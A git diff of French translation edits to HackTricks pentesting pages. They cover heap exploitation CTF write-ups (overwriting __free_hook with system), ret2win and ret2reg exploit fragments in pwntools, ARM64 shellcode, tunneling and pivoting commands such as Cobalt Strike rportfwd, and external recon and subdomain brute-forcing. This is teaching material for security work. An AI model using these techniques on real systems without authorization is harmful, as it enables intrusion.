+- Par conséquent, **2 chunks sont créés** : **chunk0** qui sera fusionné avec lui-même et chunk1 pour empêcher la consolidation avec le chunk supérieur. Ensuite, la **fonction de fusion est appelée avec chunk0** deux fois, ce qui provoquera un use after free.
+- Ensuite, la **fonction `view`** est appelée avec l'index 2 (qui est l'index du chunk use after free), ce qui **divulguera une adresse libc**.
+- Comme le binaire a des protections pour n'allouer que des tailles supérieures à **`global_max_fast`**, aucun fastbin n'est utilisé, une attaque d'unsorted bin sera utilisée pour écraser la variable globale `global_max_fast`.
+- Ensuite, il est possible d'appeler la fonction d'édition avec l'index 2 (le pointeur use after free) et d'écraser le pointeur `bk` pour pointer vers `p64(global_max_fast-0x10)`. Ensuite, la création d'un nouveau chunk utilisera l'adresse libre compromise précédemment (0x20) et **déclenchera l'attaque d'unsorted bin** écrasant le `global_max_fast` qui a une très grande valeur, permettant maintenant de créer des chunks dans les fast bins.
- Maintenant, une **attaque de fast bin** est effectuée :
- Tout d'abord, il est découvert qu'il est possible de travailler avec des fast **chunks de taille 200** dans l'emplacement **`__free_hook`** :
--
-- Si nous parvenons à obtenir un fast chunk de taille 0x200 à cet emplacement, il sera possible de réécrire un pointeur de fonction qui sera exécuté.
-- Pour cela, un nouveau chunk de taille `0xfc` est créé et la fonction fusionnée est appelée avec ce pointeur deux fois, de cette façon nous obtenons un pointeur vers un chunk libéré de taille `0xfc*2 = 0x1f8` dans la fast bin.
-- Ensuite, la fonction d'édition est appelée dans ce chunk pour modifier l'adresse **`fd`** de cette fast bin pour pointer vers la fonction **`__free_hook`** précédente.
-- Ensuite, un chunk de taille `0x1f8` est créé pour récupérer de la fast bin le chunk inutile précédent afin qu'un autre chunk de taille `0x1f8` soit créé pour obtenir un chunk de fast bin dans le **`__free_hook`** qui est réécrit avec l'adresse de la fonction **`system`**.
+- Si nous parvenons à obtenir un fast chunk de taille 0x200 à cet emplacement, il sera possible d'écraser un pointeur de fonction qui sera exécuté.
+- Pour cela, un nouveau chunk de taille `0xfc` est créé et la fonction de fusion est appelée avec ce pointeur deux fois, de cette façon nous obtenons un pointeur vers un chunk libéré de taille `0xfc*2 = 0x1f8` dans le fast bin.
+- Ensuite, la fonction d'édition est appelée dans ce chunk pour modifier l'adresse **`fd`** de ce fast bin pour pointer vers la fonction **`__free_hook`** précédente.
+- Ensuite, un chunk de taille `0x1f8` est créé pour récupérer du fast bin le chunk inutile précédent, puis un autre chunk de taille `0x1f8` est créé pour obtenir un fast bin chunk dans le **`__free_hook`** qui est écrasé avec l'adresse de la fonction **`system`**.
- Et enfin, un chunk contenant la chaîne `/bin/sh\x00` est libéré en appelant la fonction de suppression, déclenchant la fonction **`__free_hook`** qui pointe vers system avec `/bin/sh\x00` comme paramètre.
- **CTF** [**https://guyinatuxedo.github.io/33-custom_misc_heap/csaw19_traveller/index.html**](https://guyinatuxedo.github.io/33-custom_misc_heap/csaw19_traveller/index.html)
-- Un autre exemple d'abus d'un débordement de 1B pour consolider des chunks dans la bin non triée et obtenir une divulgation d'informations libc, puis effectuer une attaque de fast bin pour réécrire le malloc hook avec une adresse de gadget.
+- Un autre exemple d'abus d'un débordement de 1B pour consolider des chunks dans l'unsorted bin et obtenir une divulgation d'informations libc, puis effectuer une attaque de fast bin pour écraser malloc hook avec une adresse one gadget.
- [**Robot Factory. BlackHat MEA CTF 2022**](https://7rocky.github.io/en/ctf/other/blackhat-ctf/robot-factory/)
- Nous ne pouvons allouer que des chunks de taille supérieure à `0x100`.
-- Réécrire `global_max_fast` en utilisant une attaque de bin non triée (fonctionne 1/16 fois en raison de l'ASLR, car nous devons modifier 12 bits, mais nous devons modifier 16 bits).
+- Écraser `global_max_fast` en utilisant une attaque d'unsorted bin (fonctionne 1/16 fois en raison de l'ASLR, car nous devons modifier 12 bits, mais nous devons modifier 16 bits).
- Attaque de fast bin pour modifier un tableau global de chunks. Cela donne une primitive de lecture/écriture arbitraire, ce qui permet de modifier le GOT et de faire pointer certaines fonctions vers `system`.
{{#include ../../banners/hacktricks-training.md}}
diff --git a/src/binary-exploitation/rop-return-oriented-programing/ret2esp-ret2reg.md b/src/binary-exploitation/rop-return-oriented-programing/ret2esp-ret2reg.md
index 562c2685d..833077761 100644
--- a/src/binary-exploitation/rop-return-oriented-programing/ret2esp-ret2reg.md
+++ b/src/binary-exploitation/rop-return-oriented-programing/ret2esp-ret2reg.md
@@ -82,7 +82,7 @@ De même, si nous savons qu'une fonction renvoie l'adresse où le shellcode est
### Exemple
-Vous pouvez trouver quelques exemples ici :
+Vous pouvez trouver quelques exemples ici :
- [https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode/ret2reg/using-ret2reg](https://ir0nstone.gitbook.io/notes/types/stack/reliable-shellcode/ret2reg/using-ret2reg)
- [https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/ret2eax.c](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/ret2eax.c)
@@ -135,7 +135,7 @@ do_stuff(2)
return 0;
}
```
-En vérifiant le désassemblage de la fonction, il est possible de voir que l'**adresse du tampon** (vulnérable au bof et **contrôlée par l'utilisateur**) est **stockée dans `x0`** avant de revenir du débordement de tampon :
+Vérifiant le désassemblage de la fonction, il est possible de voir que l'**adresse du tampon** (vulnérable au bof et **contrôlée par l'utilisateur**) est **stockée dans `x0`** avant de revenir de l'overflow de tampon :
@@ -143,7 +143,7 @@ Il est également possible de trouver le gadget **`br x0`** dans la fonction **`
-Nous allons utiliser ce gadget pour y sauter car le binaire est compilé **SANS PIE.** En utilisant un motif, il est possible de voir que l'**offset du débordement de tampon est 80**, donc l'exploit serait :
+Nous allons utiliser ce gadget pour y sauter car le binaire est compilé **SANS PIE.** En utilisant un motif, il est possible de voir que l'**offset de l'overflow de tampon est 80**, donc l'exploit serait :
```python
from pwn import *
diff --git a/src/binary-exploitation/stack-overflow/ret2win/README.md b/src/binary-exploitation/stack-overflow/ret2win/README.md
index 836d37acd..fbcd50fc3 100644
--- a/src/binary-exploitation/stack-overflow/ret2win/README.md
+++ b/src/binary-exploitation/stack-overflow/ret2win/README.md
@@ -8,7 +8,7 @@ Les défis **Ret2win** sont une catégorie populaire dans les compétitions **Ca
### Exemple C
-Considérons un simple programme C avec une vulnérabilité et une fonction `win` que nous avons l'intention d'appeler :
+Considérons un programme C simple avec une vulnérabilité et une fonction `win` que nous avons l'intention d'appeler :
```c
#include
#include
@@ -37,7 +37,7 @@ gcc -m32 -fno-stack-protector -z execstack -no-pie -o vulnerable vulnerable.c
- `-no-pie`: Désactiver l'exécutable indépendant de la position pour s'assurer que l'adresse de la fonction `win` ne change pas.
- `-o vulnerable`: Nommer le fichier de sortie `vulnerable`.
-### Python Exploit utilisant Pwntools
+### Exploit Python utilisant Pwntools
Pour l'exploit, nous utiliserons **pwntools**, un puissant framework CTF pour écrire des exploits. Le script d'exploit créera une charge utile pour déborder le tampon et écraser l'adresse de retour avec l'adresse de la fonction `win`.
```python
@@ -63,13 +63,13 @@ Pour trouver l'adresse de la fonction `win`, vous pouvez utiliser **gdb**, **obj
```sh
objdump -d vulnerable | grep win
```
-Cette commande vous montrera l'assemblage de la fonction `win`, y compris son adresse de départ.
+Cette commande vous montrera l'assemblage de la fonction `win`, y compris son adresse de départ.
Le script Python envoie un message soigneusement élaboré qui, lorsqu'il est traité par la `vulnerable_function`, déborde le tampon et écrase l'adresse de retour sur la pile avec l'adresse de `win`. Lorsque `vulnerable_function` retourne, au lieu de retourner à `main` ou de sortir, il saute à `win`, et le message est imprimé.
## Protections
-- [**PIE**](../../common-binary-protections-and-bypasses/pie/index.html) **doit être désactivé** pour que l'adresse soit fiable à travers les exécutions, sinon l'adresse où la fonction sera stockée ne sera pas toujours la même et vous auriez besoin d'une fuite pour déterminer où la fonction win est chargée. Dans certains cas, lorsque la fonction qui cause le débordement est `read` ou similaire, vous pouvez faire un **Partial Overwrite** de 1 ou 2 octets pour changer l'adresse de retour afin qu'elle soit la fonction win. En raison du fonctionnement de l'ASLR, les trois derniers nibbles hexadécimaux ne sont pas randomisés, donc il y a une **chance de 1/16** (1 nibble) d'obtenir la bonne adresse de retour.
+- [**PIE**](../../common-binary-protections-and-bypasses/pie/index.html) **doit être désactivé** pour que l'adresse soit fiable à travers les exécutions, sinon l'adresse où la fonction sera stockée ne sera pas toujours la même et vous auriez besoin d'une fuite pour déterminer où la fonction win est chargée. Dans certains cas, lorsque la fonction qui cause le débordement est `read` ou similaire, vous pouvez faire un **Partial Overwrite** de 1 ou 2 octets pour changer l'adresse de retour afin qu'elle soit la fonction win. En raison de la façon dont fonctionne l'ASLR, les trois derniers nibbles hexadécimaux ne sont pas randomisés, donc il y a une **chance de 1/16** (1 nibble) d'obtenir la bonne adresse de retour.
- [**Stack Canaries**](../../common-binary-protections-and-bypasses/stack-canaries/index.html) doivent également être désactivés sinon l'adresse de retour EIP compromise ne sera jamais suivie.
## Autres exemples & Références
@@ -82,7 +82,7 @@ Le script Python envoie un message soigneusement élaboré qui, lorsqu'il est tr
- [https://guyinatuxedo.github.io/05-bof_callfunction/csaw18_getit/index.html](https://guyinatuxedo.github.io/05-bof_callfunction/csaw18_getit/index.html)
- 64 bits, pas d'ASLR
- [https://guyinatuxedo.github.io/05-bof_callfunction/tu17_vulnchat/index.html](https://guyinatuxedo.github.io/05-bof_callfunction/tu17_vulnchat/index.html)
-- 32 bits, pas d'ASLR, double petit débordement, premier à déborder la pile et agrandir la taille du second débordement
+- 32 bits, pas d'ASLR, double petit débordement, premier pour déborder la pile et augmenter la taille du second débordement
- [https://guyinatuxedo.github.io/10-fmt_strings/backdoor17_bbpwn/index.html](https://guyinatuxedo.github.io/10-fmt_strings/backdoor17_bbpwn/index.html)
- 32 bits, relro, pas de canary, nx, pas de pie, chaîne de format pour écraser l'adresse `fflush` avec la fonction win (ret2win)
- [https://guyinatuxedo.github.io/15-partial_overwrite/tamu19_pwn2/index.html](https://guyinatuxedo.github.io/15-partial_overwrite/tamu19_pwn2/index.html)
diff --git a/src/binary-exploitation/stack-overflow/ret2win/ret2win-arm64.md b/src/binary-exploitation/stack-overflow/ret2win/ret2win-arm64.md
index 54c67bada..ba8238557 100644
--- a/src/binary-exploitation/stack-overflow/ret2win/ret2win-arm64.md
+++ b/src/binary-exploitation/stack-overflow/ret2win/ret2win-arm64.md
@@ -8,7 +8,7 @@ Trouvez une introduction à arm64 dans :
../../../macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md
{{#endref}}
-## Code
+## Code
```c
#include
#include
@@ -37,7 +37,7 @@ clang -o ret2win ret2win.c -fno-stack-protector -Wno-format-security -no-pie
Cet exemple a été créé en utilisant [**GEF**](https://github.com/bata24/gef) :
-Lancez gdb avec gef, créez un motif et utilisez-le :
+Démarrez gdb avec gef, créez un motif et utilisez-le :
```bash
gdb -q ./ret2win
pattern create 200
@@ -113,7 +113,7 @@ p.close()
### Off-by-1
-En réalité, cela va plutôt ressembler à un off-by-2 dans le PC stocké dans la pile. Au lieu d'écraser toute l'adresse de retour, nous allons écraser **seulement les 2 derniers octets** avec `0x06c4`.
+En fait, cela va plutôt ressembler à un off-by-2 dans le PC stocké dans la pile. Au lieu d'écraser toute l'adresse de retour, nous allons écraser **uniquement les 2 derniers octets** avec `0x06c4`.
```python
from pwn import *
@@ -144,7 +144,7 @@ Vous pouvez trouver un autre exemple off-by-one en ARM64 dans [https://8ksec.io/
### Off-by-2
-Sans une fuite, nous ne connaissons pas l'adresse exacte de la fonction gagnante, mais nous pouvons connaître le décalage de la fonction par rapport au binaire et sachant que l'adresse de retour que nous écrasons pointe déjà vers une adresse proche, il est possible de fuir le décalage vers la fonction win (**0x7d4**) dans ce cas et d'utiliser simplement ce décalage :
+Sans un leak, nous ne connaissons pas l'adresse exacte de la fonction gagnante, mais nous pouvons connaître le décalage de la fonction par rapport au binaire et sachant que l'adresse de retour que nous écrasons pointe déjà vers une adresse proche, il est possible de leak le décalage vers la fonction win (**0x7d4**) dans ce cas et d'utiliser simplement ce décalage :
```python
diff --git a/src/binary-exploitation/stack-overflow/stack-shellcode/stack-shellcode-arm64.md b/src/binary-exploitation/stack-overflow/stack-shellcode/stack-shellcode-arm64.md
index 0e106920a..b429caf87 100644
--- a/src/binary-exploitation/stack-overflow/stack-shellcode/stack-shellcode-arm64.md
+++ b/src/binary-exploitation/stack-overflow/stack-shellcode/stack-shellcode-arm64.md
@@ -8,7 +8,7 @@ Trouvez une introduction à arm64 dans :
../../../macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md
{{#endref}}
-## Code
+## Code
```c
#include
#include
@@ -27,7 +27,7 @@ Compiler sans pie, canary et nx :
```bash
clang -o bof bof.c -fno-stack-protector -Wno-format-security -no-pie -z execstack
```
-## Pas d'ASLR & Pas de canari - Débordement de pile
+## Pas d'ASLR & Pas de canari - Débordement de pile
Pour arrêter l'ASLR, exécutez :
```bash
@@ -68,6 +68,6 @@ p.interactive()
```
La seule chose "compliquée" à trouver ici serait l'adresse dans la pile à appeler. Dans mon cas, j'ai généré l'exploit avec l'adresse trouvée en utilisant gdb, mais ensuite, lors de l'exploitation, cela n'a pas fonctionné (car l'adresse de la pile a légèrement changé).
-J'ai ouvert le **`fichier core`** généré (`gdb ./bog ./core`) et vérifié la véritable adresse du début du shellcode.
+J'ai ouvert le fichier **`core`** généré (`gdb ./bog ./core`) et vérifié la véritable adresse du début du shellcode.
{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/generic-hacking/tunneling-and-port-forwarding.md b/src/generic-hacking/tunneling-and-port-forwarding.md
index fd32f5bce..9aa326bd8 100644
--- a/src/generic-hacking/tunneling-and-port-forwarding.md
+++ b/src/generic-hacking/tunneling-and-port-forwarding.md
@@ -145,7 +145,7 @@ proxychains nmap -n -Pn -sT -p445,3389,5985 10.10.17.25
### rPort2Port
> [!WARNING]
-> Dans ce cas, le **port est ouvert sur l'hôte beacon**, pas sur le Team Server, et le trafic est envoyé au Team Server et de là à l'hôte:port indiqué.
+> Dans ce cas, le **port est ouvert dans l'hôte beacon**, pas dans le Team Server et le trafic est envoyé au Team Server et de là à l'hôte:port indiqué.
```bash
rportfwd [bind port] [forward host] [forward port]
rportfwd stop [bind port]
@@ -246,7 +246,7 @@ attacker> python server.py --server-port 9999 --server-ip 0.0.0.0 --proxy-ip 127
```bash
victim> python client.py --server-ip --server-port 9999
```
-Pivot through **NTLM proxy**
+Pivoter à travers **NTLM proxy**
```bash
victim> python client.py --server-ip --server-port 9999 --ntlm-proxy-ip --ntlm-proxy-port 8080 --domain CONTOSO.COM --username Alice --password P@ssw0rd
```
@@ -346,7 +346,7 @@ netsh interface portproxy delete v4tov4 listenaddress=0.0.0.0 listenport=4444
Vous devez avoir **un accès RDP sur le système**.\
Téléchargez :
-1. [SocksOverRDP x64 Binaries](https://github.com/nccgroup/SocksOverRDP/releases) - Cet outil utilise les `Dynamic Virtual Channels` (`DVC`) de la fonctionnalité Remote Desktop Service de Windows. DVC est responsable de **l'acheminement des paquets sur la connexion RDP**.
+1. [SocksOverRDP x64 Binaries](https://github.com/nccgroup/SocksOverRDP/releases) - Cet outil utilise `Dynamic Virtual Channels` (`DVC`) de la fonctionnalité Remote Desktop Service de Windows. DVC est responsable de **l'acheminement des paquets sur la connexion RDP**.
2. [Proxifier Portable Binary](https://www.proxifier.com/download/#win-tab)
Dans votre ordinateur client, chargez **`SocksOverRDP-Plugin.dll`** comme ceci :
@@ -364,13 +364,13 @@ Maintenant, confirmez sur votre machine (attaquant) que le port 1080 est à l'é
```
netstat -antb | findstr 1080
```
-Maintenant, vous pouvez utiliser [**Proxifier**](https://www.proxifier.com/) **pour proxyfier le trafic à travers ce port.**
+Maintenant, vous pouvez utiliser [**Proxifier**](https://www.proxifier.com/) **pour proxy le trafic à travers ce port.**
-## Proxyfier les applications GUI Windows
+## Proxifier les applications GUI Windows
Vous pouvez faire naviguer les applications GUI Windows à travers un proxy en utilisant [**Proxifier**](https://www.proxifier.com/).\
Dans **Profile -> Proxy Servers**, ajoutez l'IP et le port du serveur SOCKS.\
-Dans **Profile -> Proxification Rules**, ajoutez le nom du programme à proxyfier et les connexions aux IP que vous souhaitez proxyfier.
+Dans **Profile -> Proxification Rules**, ajoutez le nom du programme à proxifier et les connexions aux IP que vous souhaitez proxifier.
## Contournement du proxy NTLM
@@ -480,7 +480,7 @@ ssh -D 9050 -p 2222 -l user 127.0.0.1
## ngrok
[**ngrok**](https://ngrok.com/) **est un outil pour exposer des solutions à Internet en une ligne de commande.**\
-_Exposition URI sont comme:_ **UID.ngrok.io**
+_Les URI d'exposition sont comme :_ **UID.ngrok.io**
### Installation
diff --git a/src/generic-methodologies-and-resources/external-recon-methodology/README.md b/src/generic-methodologies-and-resources/external-recon-methodology/README.md
index 276978cdc..ada3088de 100644
--- a/src/generic-methodologies-and-resources/external-recon-methodology/README.md
+++ b/src/generic-methodologies-and-resources/external-recon-methodology/README.md
@@ -27,8 +27,8 @@ Un numéro de système autonome (**ASN**) est un **numéro unique** attribué à
Un **AS** se compose de **blocs** d'**adresses IP** qui ont une politique clairement définie pour accéder aux réseaux externes et sont administrés par une seule organisation mais peuvent être composés de plusieurs opérateurs.
Il est intéressant de trouver si la **société a attribué un ASN** pour trouver ses **plages IP.** Il sera intéressant de réaliser un **test de vulnérabilité** contre tous les **hôtes** dans le **champ d'application** et de **chercher des domaines** à l'intérieur de ces IP.\
-Vous pouvez **chercher** par nom de société, par **IP** ou par **domaine** dans [**https://bgp.he.net/**](https://bgp.he.net)**.**\
-**Selon la région de la société, ces liens pourraient être utiles pour rassembler plus de données :** [**AFRINIC**](https://www.afrinic.net) **(Afrique),** [**Arin**](https://www.arin.net/about/welcome/region/)**(Amérique du Nord),** [**APNIC**](https://www.apnic.net) **(Asie),** [**LACNIC**](https://www.lacnic.net) **(Amérique Latine),** [**RIPE NCC**](https://www.ripe.net) **(Europe). Quoi qu'il en soit, probablement toutes les** informations utiles **(plages IP et Whois)** apparaissent déjà dans le premier lien.
+Vous pouvez **chercher** par **nom** d'entreprise, par **IP** ou par **domaine** dans [**https://bgp.he.net/**](https://bgp.he.net)**.**\
+**Selon la région de l'entreprise, ces liens pourraient être utiles pour rassembler plus de données :** [**AFRINIC**](https://www.afrinic.net) **(Afrique),** [**Arin**](https://www.arin.net/about/welcome/region/)**(Amérique du Nord),** [**APNIC**](https://www.apnic.net) **(Asie),** [**LACNIC**](https://www.lacnic.net) **(Amérique Latine),** [**RIPE NCC**](https://www.ripe.net) **(Europe). Quoi qu'il en soit, probablement toutes les** informations utiles **(plages IP et Whois)** apparaissent déjà dans le premier lien.
```bash
#You can try "automate" this with amass, but it's not very recommended
amass intel -org tesla
@@ -58,7 +58,7 @@ Vous pouvez trouver l'IP et l'ASN d'un domaine en utilisant [http://ipv4info.com
À ce stade, nous connaissons **tous les actifs à l'intérieur du périmètre**, donc si vous y êtes autorisé, vous pourriez lancer un **scanner de vulnérabilités** (Nessus, OpenVAS) sur tous les hôtes.\
De plus, vous pourriez lancer des [**scans de ports**](../pentesting-network/index.html#discovering-hosts-from-the-outside) **ou utiliser des services comme** shodan **pour trouver** des ports ouverts **et selon ce que vous trouvez, vous devriez** consulter ce livre pour savoir comment effectuer un pentesting sur plusieurs services possibles en cours d'exécution.\
-**De plus, il pourrait être utile de mentionner que vous pouvez également préparer des** listes de noms d'utilisateur **et** de mots de passe **par défaut et essayer de** brute-forcer des services avec [https://github.com/x90skysn3k/brutespray](https://github.com/x90skysn3k/brutespray).
+**Il pourrait également être utile de mentionner que vous pouvez également préparer des** listes de noms d'utilisateur **et de** mots de passe **par défaut et essayer de** bruteforcer des services avec [https://github.com/x90skysn3k/brutespray](https://github.com/x90skysn3k/brutespray).
## Domaines
@@ -139,11 +139,11 @@ fhash = mmh3.hash(favicon)
print(f"{url} : {fhash}")
return fhash
```
-### **Droits d'auteur / Chaîne unique**
+### **Copyright / Chaîne Uniq**
-Recherchez dans les pages web **des chaînes qui pourraient être partagées entre différents sites de la même organisation**. La **chaîne de droits d'auteur** pourrait être un bon exemple. Ensuite, recherchez cette chaîne dans **google**, dans d'autres **navigateurs** ou même dans **shodan** : `shodan search http.html:"Copyright string"`
+Recherchez dans les pages web **des chaînes qui pourraient être partagées entre différents sites de la même organisation**. La **chaîne de copyright** pourrait être un bon exemple. Ensuite, recherchez cette chaîne dans **google**, dans d'autres **navigateurs** ou même dans **shodan** : `shodan search http.html:"Copyright string"`
-### **Temps CRT**
+### **CRT Time**
Il est courant d'avoir un travail cron tel que
```bash
@@ -163,15 +163,15 @@ Apparemment, il est courant que des personnes assignent des sous-domaines à des
[**Ce post**](https://kmsec.uk/blog/passive-takeover/) explique une histoire à ce sujet et propose un script qui **crée une VM dans DigitalOcean**, **obtient** l'**IPv4** de la nouvelle machine, et **cherche dans Virustotal des enregistrements de sous-domaines** pointant vers elle.
-### **Autres moyens**
+### **Autres méthodes**
**Notez que vous pouvez utiliser cette technique pour découvrir plus de noms de domaine chaque fois que vous trouvez un nouveau domaine.**
**Shodan**
-Comme vous connaissez déjà le nom de l'organisation propriétaire de l'espace IP. Vous pouvez rechercher ces données dans shodan en utilisant : `org:"Tesla, Inc."` Vérifiez les hôtes trouvés pour de nouveaux domaines inattendus dans le certificat TLS.
+Comme vous connaissez déjà le nom de l'organisation propriétaire de l'espace IP. Vous pouvez rechercher ces données dans Shodan en utilisant : `org:"Tesla, Inc."` Vérifiez les hôtes trouvés pour de nouveaux domaines inattendus dans le certificat TLS.
-Vous pourriez accéder au **certificat TLS** de la page web principale, obtenir le **nom de l'organisation** et ensuite rechercher ce nom dans les **certificats TLS** de toutes les pages web connues par **shodan** avec le filtre : `ssl:"Tesla Motors"` ou utiliser un outil comme [**sslsearch**](https://github.com/HarshVaragiya/sslsearch).
+Vous pourriez accéder au **certificat TLS** de la page web principale, obtenir le **nom de l'organisation** et ensuite rechercher ce nom dans les **certificats TLS** de toutes les pages web connues par **Shodan** avec le filtre : `ssl:"Tesla Motors"` ou utiliser un outil comme [**sslsearch**](https://github.com/HarshVaragiya/sslsearch).
**Assetfinder**
@@ -181,8 +181,8 @@ Vous pourriez accéder au **certificat TLS** de la page web principale, obtenir
Vérifiez pour une [prise de contrôle de domaine](../../pentesting-web/domain-subdomain-takeover.md#domain-takeover). Peut-être qu'une entreprise **utilise un domaine** mais qu'elle **a perdu la propriété**. Il suffit de l'enregistrer (si assez bon marché) et d'informer l'entreprise.
-Si vous trouvez un **domaine avec une IP différente** de celles que vous avez déjà trouvées dans la découverte d'actifs, vous devriez effectuer un **scan de vulnérabilités de base** (en utilisant Nessus ou OpenVAS) et un [**scan de ports**](../pentesting-network/index.html#discovering-hosts-from-the-outside) avec **nmap/masscan/shodan**. Selon les services en cours d'exécution, vous pouvez trouver dans **ce livre quelques astuces pour "les attaquer"**.\
-_Notez que parfois le domaine est hébergé à l'intérieur d'une IP qui n'est pas contrôlée par le client, donc ce n'est pas dans le périmètre, soyez prudent._
+Si vous trouvez un **domaine avec une IP différente** de celles que vous avez déjà trouvées dans la découverte d'actifs, vous devriez effectuer un **scan de vulnérabilités de base** (en utilisant Nessus ou OpenVAS) et un [**scan de ports**](../pentesting-network/index.html#discovering-hosts-from-the-outside) avec **nmap/masscan/shodan**. Selon les services en cours d'exécution, vous pouvez trouver dans **ce livre quelques astuces pour les "attaquer"**.\
+_Notez que parfois le domaine est hébergé sur une IP qui n'est pas contrôlée par le client, donc ce n'est pas dans le périmètre, soyez prudent._
## Sous-domaines
@@ -250,7 +250,7 @@ vita -d tesla.com
```bash
theHarvester -d tesla.com -b "anubis, baidu, bing, binaryedge, bingapi, bufferoverun, censys, certspotter, crtsh, dnsdumpster, duckduckgo, fullhunt, github-code, google, hackertarget, hunter, intelx, linkedin, linkedin_links, n45ht, omnisint, otx, pentesttools, projectdiscovery, qwant, rapiddns, rocketreach, securityTrails, spyse, sublist3r, threatcrowd, threatminer, trello, twitter, urlscan, virustotal, yahoo, zoomeye"
```
-Il existe **d'autres outils/APIs intéressants** qui, même s'ils ne sont pas directement spécialisés dans la recherche de sous-domaines, pourraient être utiles pour trouver des sous-domaines, comme :
+Il existe **d'autres outils/API intéressants** qui, même s'ils ne sont pas directement spécialisés dans la recherche de sous-domaines, pourraient être utiles pour trouver des sous-domaines, comme :
- [**Crobat**](https://github.com/cgboal/sonarsearch)**:** Utilise l'API [https://sonar.omnisint.io](https://sonar.omnisint.io) pour obtenir des sous-domaines
```bash
@@ -282,7 +282,7 @@ curl -s "https://crt.sh/?q=%25.$1" \
}
crt tesla.com
```
-- [**gau**](https://github.com/lc/gau)**:** récupère les URL connues d'Open Threat Exchange d'AlienVault, de la Wayback Machine et de Common Crawl pour un domaine donné.
+- [**gau**](https://github.com/lc/gau)**:** récupère les URL connues de l'Open Threat Exchange d'AlienVault, de la Wayback Machine et de Common Crawl pour un domaine donné.
```bash
# Get subdomains from GAUs found URLs
gau --subs tesla.com | cut -d "/" -f 3 | sort -u
@@ -395,7 +395,7 @@ python3 main.py adobe.com adobe adobe.rules
make_brute_list.sh adobe.rules adobe.brute
puredns resolve adobe.brute --write adobe.valid
```
-- [**subzuf**](https://github.com/elceef/subzuf)**:** _subzuf_ est un fuzzer de brute-force de sous-domaines associé à un algorithme guidé par la réponse DNS extrêmement simple mais efficace. Il utilise un ensemble de données d'entrée fournies, comme une liste de mots sur mesure ou des enregistrements DNS/TLS historiques, pour synthétiser avec précision des noms de domaine correspondants et les étendre encore plus dans une boucle basée sur les informations recueillies lors de l'analyse DNS.
+- [**subzuf**](https://github.com/elceef/subzuf)**:** _subzuf_ est un fuzzer de brute-force de sous-domaines associé à un algorithme guidé par les réponses DNS, extrêmement simple mais efficace. Il utilise un ensemble de données d'entrée fournies, comme une liste de mots sur mesure ou des enregistrements DNS/TLS historiques, pour synthétiser avec précision des noms de domaine correspondants et les étendre encore plus dans une boucle basée sur les informations recueillies lors de l'analyse DNS.
```
echo www | subzuf facebook.com
```
@@ -413,7 +413,7 @@ https://trickest.com/blog/full-subdomain-brute-force-discovery-using-workflow/
### **VHosts / Hôtes virtuels**
-Si vous avez trouvé une adresse IP contenant **une ou plusieurs pages web** appartenant à des sous-domaines, vous pourriez essayer de **trouver d'autres sous-domaines avec des sites sur cette IP** en recherchant dans **des sources OSINT** des domaines sur une IP ou en **brute-forçant les noms de domaine VHost sur cette IP**.
+Si vous avez trouvé une adresse IP contenant **une ou plusieurs pages web** appartenant à des sous-domaines, vous pourriez essayer de **trouver d'autres sous-domaines avec des sites sur cette IP** en recherchant dans **des sources OSINT** des domaines sur une IP ou en **bruteforçant les noms de domaine VHost sur cette IP**.
#### OSINT
@@ -421,7 +421,7 @@ Vous pouvez trouver quelques **VHosts dans des IPs en utilisant** [**HostHunter*
**Brute Force**
-Si vous soupçonnez qu'un sous-domaine peut être caché sur un serveur web, vous pourriez essayer de le brute-forcer :
+Si vous soupçonnez qu'un sous-domaine peut être caché sur un serveur web, vous pourriez essayer de le brute forcer :
```bash
ffuf -c -w /path/to/wordlist -u http://victim.com -H "Host: FUZZ.victim.com"
@@ -447,7 +447,7 @@ ffuf -w subdomains-top1million-5000.txt -u http://10.10.10.208 -H 'Origin: http:
### **Brute Force des Buckets**
En recherchant des **sous-domaines**, gardez un œil pour voir s'ils **pointent** vers un type de **bucket**, et dans ce cas, [**vérifiez les permissions**](../../network-services-pentesting/pentesting-web/buckets/index.html)**.**\
-De plus, comme à ce stade vous connaîtrez tous les domaines dans le périmètre, essayez de [**brute forcer les noms de buckets possibles et de vérifier les permissions**](../../network-services-pentesting/pentesting-web/buckets/index.html).
+De plus, à ce stade, vous connaîtrez tous les domaines dans le périmètre, essayez de [**brute forcer les noms de buckets possibles et de vérifier les permissions**](../../network-services-pentesting/pentesting-web/buckets/index.html).
### **Surveillance**
@@ -458,15 +458,15 @@ Vous pouvez **surveiller** si de **nouveaux sous-domaines** d'un domaine sont cr
Vérifiez les possibles [**prises de contrôle de sous-domaines**](../../pentesting-web/domain-subdomain-takeover.md#subdomain-takeover).\
Si le **sous-domaine** pointe vers un **bucket S3**, [**vérifiez les permissions**](../../network-services-pentesting/pentesting-web/buckets/index.html).
-Si vous trouvez un **sous-domaine avec une IP différente** de celles que vous avez déjà trouvées lors de la découverte des actifs, vous devriez effectuer un **scan de vulnérabilités de base** (en utilisant Nessus ou OpenVAS) et un [**scan de ports**](../pentesting-network/index.html#discovering-hosts-from-the-outside) avec **nmap/masscan/shodan**. Selon les services qui fonctionnent, vous pouvez trouver dans **ce livre quelques astuces pour les "attaquer"**.\
-_Notez que parfois le sous-domaine est hébergé sur une IP qui n'est pas contrôlée par le client, donc ce n'est pas dans le périmètre, soyez prudent._
+Si vous trouvez un **sous-domaine avec une IP différente** de celles que vous avez déjà trouvées lors de la découverte des actifs, vous devriez effectuer un **scan de vulnérabilités de base** (en utilisant Nessus ou OpenVAS) et un [**scan de ports**](../pentesting-network/index.html#discovering-hosts-from-the-outside) avec **nmap/masscan/shodan**. Selon les services en cours d'exécution, vous pouvez trouver dans **ce livre quelques astuces pour les "attaquer"**.\
+_Remarque : parfois, le sous-domaine est hébergé sur une IP qui n'est pas contrôlée par le client, donc ce n'est pas dans le périmètre, soyez prudent._
## IPs
Dans les étapes initiales, vous avez peut-être **trouvé des plages d'IP, des domaines et des sous-domaines**.\
-Il est temps de **rassembler toutes les IPs de ces plages** et pour les **domaines/sous-domaines (requêtes DNS).**
